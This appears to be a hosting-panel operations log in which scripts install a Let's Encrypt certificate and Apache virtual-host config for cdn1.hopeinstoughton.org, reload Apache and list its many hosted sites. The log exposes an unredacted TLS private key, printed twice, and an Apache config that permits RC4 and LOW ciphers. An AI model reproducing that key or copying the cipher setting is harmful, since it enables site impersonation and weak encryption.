h6icSkdAj+ATlwdFp2H7yb0qlPOzvnt5oE16p4FACeWjr+PDWh+A0nRPp0ZaZcsR
IZx+ei2k5INbBo+hnbqwnzDFUBuJ4ilxUJrKmA8HrFYd1uTh+biUHP1GDEtqNFeE
poow5YowvfIZ2DwPg0d/rNOJNAXhbX5fmGV6P/gr/XlmUpw0mUiJE9a6WS8D+rpS
qZvzruoJybznALyXZdMdJALhCmggOS4rL+9ZAgMBAAGjggIvMIICKzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFAldEIysE9r2CTAjcEMsEXYtrK3XMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNjMuY3JsMIIBCwYKKwYBBAHW
eQIEAgSB/ASB+QD3AH0A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugA
AAGbhMSlOwAIAAAFAC4rCkEEAwBGMEQCIEH+nb0wbOrqcwA/rQbmUzKc5Xupt4WF
6MP1xZpUK1qtAiB3Tp4br0O7GMFC69EISfPkkoSMeG3+uPElzktojCEwlgB2ANFu
qaVoB35mNaA/N6XdvAOlPEESFNSIGPXpMbMjy5UEAAABm4TEtLYAAAQDAEcwRQIh
AKt5WmMJubpRM5+8CQBpE9AjZ9fvi04RNyDdPSe/TYCMAiAdslu8mz9BgQpT7gGY
BKBgPnWi1oZv+HF9bggFbE7EmjANBgkqhkiG9w0BAQsFAAOCAQEALukizu7r7M9n
2kqQ5eHMnVJOoBvVMGWK2XW6Kj+q9f7Chw7wbr0CKuX2FmEnfISnlUR74tMlqVu6
fU2MmM8f8n7CZkLYCIjjY6kmCLX1rSOAjJy4DwE3APyiia+iEodQ910nBudCYs9i
nYJ20hNl+1SiBEbzOFLJcIe90dTQYZv04azyyOLCQgRqKYxue/rH/hzdGGosf5sl
SG+zvVmeJ1ml5O4qsPYrsKXKvlmek9CIj+zSUKl2AMr3Jv2ZJvEmiJPIOn4Sk0TK
j8ypKgpMADNrtkS28/+o1AoW2Cn/zOmUAxwJgyQce+/EMXmPXsy3VqHKETlNSbkp
VhI+50CfCg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCqPBo3D8f5Pmys
doqanVttK3Yfzl53GZhvtt6ix4prJOyHJCqOBK+kXKYvIsV134e0uhNItRlJxMNP
XXpQ+lCxTqVaMcXGIe9L5hSlgN12WgLBiA5Eh6icSkdAj+ATlwdFp2H7yb0qlPOz
vnt5oE16p4FACeWjr+PDWh+A0nRPp0ZaZcsRIZx+ei2k5INbBo+hnbqwnzDFUBuJ
4ilxUJrKmA8HrFYd1uTh+biUHP1GDEtqNFeEpoow5YowvfIZ2DwPg0d/rNOJNAXh
bX5fmGV6P/gr/XlmUpw0mUiJE9a6WS8D+rpSqZvzruoJybznALyXZdMdJALhCmgg
OS4rL+9ZAgMBAAECggEABXAO4KWM/Exu7BG2SuA4uyjpU0nu27bngbaxmmQC1c9+
YbEOo0OJjm0U3t++tyLugrVIkpORrPj6HychK4SEvtaAXXxGW8Dvk/j+aFdQhlcI
4as0VM07iNCDlvpG4gFP7rznxO30WwTv2uo8UfiETmUa3GjkhbZuMVTdOZV0uIBA
kW/0zqZIz+N61MWLOJUBuruKAt29rt5Y8x7wXQwSZcq/vX9uer2BQ5VDSmAAM60p
xiz89rqFKNbly2TVNk6HPtLqAs9OUnr25xIhdSfUXAXQ44VgCU2X1Qb5hOodB7HK
wKkfE66Mg93yGgERU/8EtWO7IfvkvzQVngdWuPHS/QKBgQDkCTbQBrWMteVtlEaq
MlQ5u8mxX964DnxhKilSGk/14y94pEYS8tGU3g4ByWNbbYJGSdu6agJE+OluJ0mY
kNmXN2GYk+ojrMhYxZR5gtfeJXU9p29bSUZIsZ8GzVDWEo0PHGa/r4NF4JM5Ia81
VK6CH0bmQKVYPuYC45PZQytrjQKBgQC/HFJNW7ZOMMFWkiKP9t3vFdgvTCfUXazf
cPfU5+6abJfMAxOZL9pg859hhRO1WXpXtf6nWYpegjy+J8Qw4K0sW4qOK9oHISmV
ZqSqf0S4Ywb3YEZOnqMpirnI7SPFEtyrqlO9EaRe7jEv4ODMrUtYVDdcGMoxJgzw
JHLGjHV5/QKBgDSrUCayNgKfDLPHmJ686yk+j3JRg16dseq7Uznsa+WOKKvDvY+o
1/F7bF7LRhCa9YkIjCC9VXLazwerOVtssWU03GziVSUSRmACmq2KJBPiMPchkh3S
idJGfEWU7IPVWxFPbQf/IOHl4ftDJXW67meNk9Ggws/kDzpBmCeJVSENAoGAK3hK
tDPnPNPUNlfZKrvxcV+bo+6DpMeF+fEdPj1fRZrr0Ejm3VJILwNbPnhhqj9nF6pa
+T/hvGuNW4d6FdAVM+DCnGIXHsYJSmVlkS6PuA02WXB5rYph/KIEblKab0pCDX4Z
vAjWRY2SfJx/Ja9JUxcc3IL7AsDv8nOn88ehNRUCgYBAoJTSWqV5aNUk33M5eCQY
p7P6PTl0zkikW9CK4o9loxRULQyF33CtHXYrKD9sCiNUpjHo4bJnylNWCpvUeYW4
U/QSF/81v/HDrGH/p9U/jtm9bYSLejIhtg9e6BU7Q6r/BWg8i6mpIrUnO+8pQKVT
hbCdklqqo/QKXFaosW/L7A==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-03 16:50:43:
chmod 755 /tmp/pkp834091; /tmp/pkp834091; rm /tmp/pkp834091
2026-01-03 16:50:43:
dir=/etc/ssl/certs
2026-01-03 16:50:43:
PUT: /tmp/pkp245374
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-03 16:50:43:
chmod 755 /tmp/pkp245374; /tmp/pkp245374; rm /tmp/pkp245374
2026-01-03 16:50:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf 48
<VirtualHost *:80>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2026-01-03 16:50:43:
PUT: /tmp/pkp937543
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn1_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf= 1'
fi
2026-01-03 16:50:43:
chmod 755 /tmp/pkp937543; /tmp/pkp937543; rm /tmp/pkp937543
2026-01-03 16:50:43:
2026-01-03 16:50:43:
PUT: /tmp/pkp404969
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-03 16:50:43:
chmod 755 /tmp/pkp404969; /tmp/pkp404969; rm /tmp/pkp404969
2026-01-03 16:50:44:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-03 16:50:44: Establishing a connection
2026-01-03 16:50:44:
PUT: /tmp/pkp594277
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 16:50:44:
chmod 755 /tmp/pkp594277; /tmp/pkp594277; rm /tmp/pkp594277
2026-01-03 16:50:44:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-03 16:50:44:
PUT: /tmp/pkp932955
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 16:50:44:
chmod 755 /tmp/pkp932955; /tmp/pkp932955; rm /tmp/pkp932955
2026-01-03 16:50:44:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf 1656
<VirtualHost *:80>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2026-01-03 16:50:44:
PUT: /tmp/pkp257896
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 16:50:44:
chmod 755 /tmp/pkp257896; /tmp/pkp257896; rm /tmp/pkp257896
2026-01-03 16:50:44:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt 5382
dc:ac:d7:8c:ac:9c:f3:bb:7a:75:27:9d:db:f3:c3:40
-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBlGWBYIS1KxHuvMjPwsSNyo+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTAzMTU1MjA4WhcNMjYwNDAzMTU1MjA3WjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCqPBo3D8f5PmysdoqanVttK3Yfzl53GZhvtt6ix4prJOyHJCqO
BK+kXKYvIsV134e0uhNItRlJxMNPXXpQ+lCxTqVaMcXGIe9L5hSlgN12WgLBiA5E
h6icSkdAj+ATlwdFp2H7yb0qlPOzvnt5oE16p4FACeWjr+PDWh+A0nRPp0ZaZcsR
IZx+ei2k5INbBo+hnbqwnzDFUBuJ4ilxUJrKmA8HrFYd1uTh+biUHP1GDEtqNFeE
poow5YowvfIZ2DwPg0d/rNOJNAXhbX5fmGV6P/gr/XlmUpw0mUiJE9a6WS8D+rpS
qZvzruoJybznALyXZdMdJALhCmggOS4rL+9ZAgMBAAGjggIvMIICKzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFAldEIysE9r2CTAjcEMsEXYtrK3XMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNjMuY3JsMIIBCwYKKwYBBAHW
eQIEAgSB/ASB+QD3AH0A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugA
AAGbhMSlOwAIAAAFAC4rCkEEAwBGMEQCIEH+nb0wbOrqcwA/rQbmUzKc5Xupt4WF
6MP1xZpUK1qtAiB3Tp4br0O7GMFC69EISfPkkoSMeG3+uPElzktojCEwlgB2ANFu
qaVoB35mNaA/N6XdvAOlPEESFNSIGPXpMbMjy5UEAAABm4TEtLYAAAQDAEcwRQIh
AKt5WmMJubpRM5+8CQBpE9AjZ9fvi04RNyDdPSe/TYCMAiAdslu8mz9BgQpT7gGY
BKBgPnWi1oZv+HF9bggFbE7EmjANBgkqhkiG9w0BAQsFAAOCAQEALukizu7r7M9n
2kqQ5eHMnVJOoBvVMGWK2XW6Kj+q9f7Chw7wbr0CKuX2FmEnfISnlUR74tMlqVu6
fU2MmM8f8n7CZkLYCIjjY6kmCLX1rSOAjJy4DwE3APyiia+iEodQ910nBudCYs9i
nYJ20hNl+1SiBEbzOFLJcIe90dTQYZv04azyyOLCQgRqKYxue/rH/hzdGGosf5sl
SG+zvVmeJ1ml5O4qsPYrsKXKvlmek9CIj+zSUKl2AMr3Jv2ZJvEmiJPIOn4Sk0TK
j8ypKgpMADNrtkS28/+o1AoW2Cn/zOmUAxwJgyQce+/EMXmPXsy3VqHKETlNSbkp
VhI+50CfCg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCqPBo3D8f5Pmys
doqanVttK3Yfzl53GZhvtt6ix4prJOyHJCqOBK+kXKYvIsV134e0uhNItRlJxMNP
XXpQ+lCxTqVaMcXGIe9L5hSlgN12WgLBiA5Eh6icSkdAj+ATlwdFp2H7yb0qlPOz
vnt5oE16p4FACeWjr+PDWh+A0nRPp0ZaZcsRIZx+ei2k5INbBo+hnbqwnzDFUBuJ
4ilxUJrKmA8HrFYd1uTh+biUHP1GDEtqNFeEpoow5YowvfIZ2DwPg0d/rNOJNAXh
bX5fmGV6P/gr/XlmUpw0mUiJE9a6WS8D+rpSqZvzruoJybznALyXZdMdJALhCmgg
